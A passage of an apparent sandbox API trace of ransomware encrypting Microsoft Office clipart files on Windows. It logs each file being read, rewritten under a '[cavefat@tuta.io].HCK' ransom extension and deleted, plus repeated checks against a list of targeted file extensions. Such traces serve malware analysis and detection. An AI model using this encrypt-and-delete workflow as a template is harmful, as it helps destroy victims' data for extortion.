[0180.309] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.314] GetLastError () returned 0x0 [0180.314] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x280c, lpOverlapped=0x0) returned 1 [0180.315] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2810, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2810, lpOverlapped=0x0) returned 1 [0180.316] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.316] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.316] SetEndOfFile (hFile=0x368) returned 1 [0180.317] CloseHandle (hObject=0x368) returned 1 [0180.317] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.317] SetEndOfFile (hFile=0x3a4) returned 1 [0180.321] CloseHandle (hObject=0x3a4) returned 1 [0180.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf")) returned 1 [0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.323] lstrlenW (lpString=".doc") returned 4 [0180.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.323] lstrlenW (lpString=".docx") returned 5 [0180.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.323] lstrlenW (lpString=".pdf") returned 4 [0180.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.323] lstrlenW (lpString=".xls") returned 4 [0180.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.323] lstrlenW (lpString=".xlsx") returned 5 [0180.323] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.323] lstrlenW (lpString=".ppt") returned 4 [0180.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.323] lstrlenW (lpString=".zip") returned 4 [0180.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.323] lstrlenW (lpString=".rar") returned 4 [0180.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.323] lstrlenW (lpString=".bz2") returned 4 [0180.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.323] lstrlenW (lpString=".7z") returned 3 [0180.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.323] lstrlenW (lpString=".dbf") returned 4 [0180.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.323] lstrlenW (lpString=".1cd") returned 4 [0180.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.323] lstrlenW (lpString=".jpg") returned 4 [0180.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.323] lstrlenW (lpString=".doc") returned 4 [0180.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.324] lstrlenW (lpString=".docx") returned 5 [0180.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.324] lstrlenW (lpString=".pdf") returned 4 [0180.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.324] lstrlenW (lpString=".xls") returned 4 [0180.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.324] lstrlenW (lpString=".xlsx") returned 5 [0180.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.324] lstrlenW (lpString=".ppt") returned 4 [0180.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.324] lstrlenW (lpString=".zip") returned 4 [0180.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.324] lstrlenW (lpString=".rar") returned 4 [0180.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.324] lstrlenW (lpString=".bz2") returned 4 [0180.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.324] lstrlenW (lpString=".7z") returned 3 [0180.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.324] lstrlenW (lpString=".dbf") returned 4 [0180.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.324] lstrlenW (lpString=".1cd") returned 4 [0180.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 68 [0180.324] lstrlenW (lpString=".jpg") returned 4 [0180.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.324] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.324] lstrlenW (lpString="SO00200_.WMF") returned 12 [0180.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.326] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10534) returned 1 [0180.326] CloseHandle (hObject=0x300) returned 1 [0180.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf")) returned 0x220 [0180.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.334] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.334] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.336] GetLastError () returned 0x0 [0180.336] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2926, lpOverlapped=0x0) returned 1 [0180.338] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2930, lpOverlapped=0x0) returned 1 [0180.339] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.339] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.339] SetEndOfFile (hFile=0x368) returned 1 [0180.342] CloseHandle (hObject=0x368) returned 1 [0180.342] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.342] SetEndOfFile (hFile=0x2fc) returned 1 [0180.346] CloseHandle (hObject=0x2fc) returned 1 [0180.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf")) returned 1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.348] lstrlenW (lpString=".doc") returned 4 [0180.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString=".docx") returned 5 [0180.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.348] lstrlenW (lpString=".pdf") returned 4 [0180.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString=".xls") returned 4 [0180.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.348] lstrlenW (lpString=".xlsx") returned 5 [0180.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.348] lstrlenW (lpString=".ppt") returned 4 [0180.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.348] lstrlenW (lpString=".zip") returned 4 [0180.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.348] lstrlenW (lpString=".rar") returned 4 [0180.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString=".bz2") returned 4 [0180.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString=".7z") returned 3 [0180.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.348] lstrlenW (lpString=".dbf") returned 4 [0180.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.348] lstrlenW (lpString=".1cd") returned 4 [0180.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.348] lstrlenW (lpString=".jpg") returned 4 [0180.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.348] lstrlenW (lpString=".doc") returned 4 [0180.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString=".docx") returned 5 [0180.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.348] lstrlenW (lpString=".pdf") returned 4 [0180.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.348] lstrlenW (lpString=".xls") returned 4 [0180.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.349] lstrlenW (lpString=".xlsx") returned 5 [0180.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.349] lstrlenW (lpString=".ppt") returned 4 [0180.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.349] lstrlenW (lpString=".zip") returned 4 [0180.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.349] lstrlenW (lpString=".rar") returned 4 [0180.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.349] lstrlenW (lpString=".bz2") returned 4 [0180.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.349] lstrlenW (lpString=".7z") returned 3 [0180.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.349] lstrlenW (lpString=".dbf") returned 4 [0180.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.349] lstrlenW (lpString=".1cd") returned 4 [0180.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 68 [0180.349] lstrlenW (lpString=".jpg") returned 4 [0180.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.349] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.349] lstrlenW (lpString="SO00222_.WMF") returned 12 [0180.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.350] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7772) returned 1 [0180.350] CloseHandle (hObject=0x368) returned 1 [0180.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf")) returned 0x220 [0180.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.356] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.357] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.366] GetLastError () returned 0x0 [0180.366] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1e5c, lpOverlapped=0x0) returned 1 [0180.368] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1e60, lpOverlapped=0x0) returned 1 [0180.369] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.369] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.369] SetEndOfFile (hFile=0x3a4) returned 1 [0180.370] CloseHandle (hObject=0x3a4) returned 1 [0180.372] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.372] SetEndOfFile (hFile=0x370) returned 1 [0180.376] CloseHandle (hObject=0x370) returned 1 [0180.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf")) returned 1 [0180.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.378] lstrlenW (lpString=".doc") returned 4 [0180.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.378] lstrlenW (lpString=".docx") returned 5 [0180.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.378] lstrlenW (lpString=".pdf") returned 4 [0180.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.378] lstrlenW (lpString=".xls") returned 4 [0180.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.378] lstrlenW (lpString=".xlsx") returned 5 [0180.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.378] lstrlenW (lpString=".ppt") returned 4 [0180.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.379] lstrlenW (lpString=".zip") returned 4 [0180.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.379] lstrlenW (lpString=".rar") returned 4 [0180.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString=".bz2") returned 4 [0180.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString=".7z") returned 3 [0180.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.379] lstrlenW (lpString=".dbf") returned 4 [0180.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.379] lstrlenW (lpString=".1cd") returned 4 [0180.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.379] lstrlenW (lpString=".jpg") returned 4 [0180.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.379] lstrlenW (lpString=".doc") returned 4 [0180.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString=".docx") returned 5 [0180.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.379] lstrlenW (lpString=".pdf") returned 4 [0180.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString=".xls") returned 4 [0180.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.379] lstrlenW (lpString=".xlsx") returned 5 [0180.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.379] lstrlenW (lpString=".ppt") returned 4 [0180.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.379] lstrlenW (lpString=".zip") returned 4 [0180.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.379] lstrlenW (lpString=".rar") returned 4 [0180.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString=".bz2") returned 4 [0180.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.379] lstrlenW (lpString=".7z") returned 3 [0180.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.379] lstrlenW (lpString=".dbf") returned 4 [0180.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.380] lstrlenW (lpString=".1cd") returned 4 [0180.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 68 [0180.380] lstrlenW (lpString=".jpg") returned 4 [0180.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.380] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.380] lstrlenW (lpString="SO00299_.WMF") returned 12 [0180.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.381] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=68792) returned 1 [0180.381] CloseHandle (hObject=0x2fc) returned 1 [0180.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf")) returned 0x220 [0180.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.386] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.386] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: 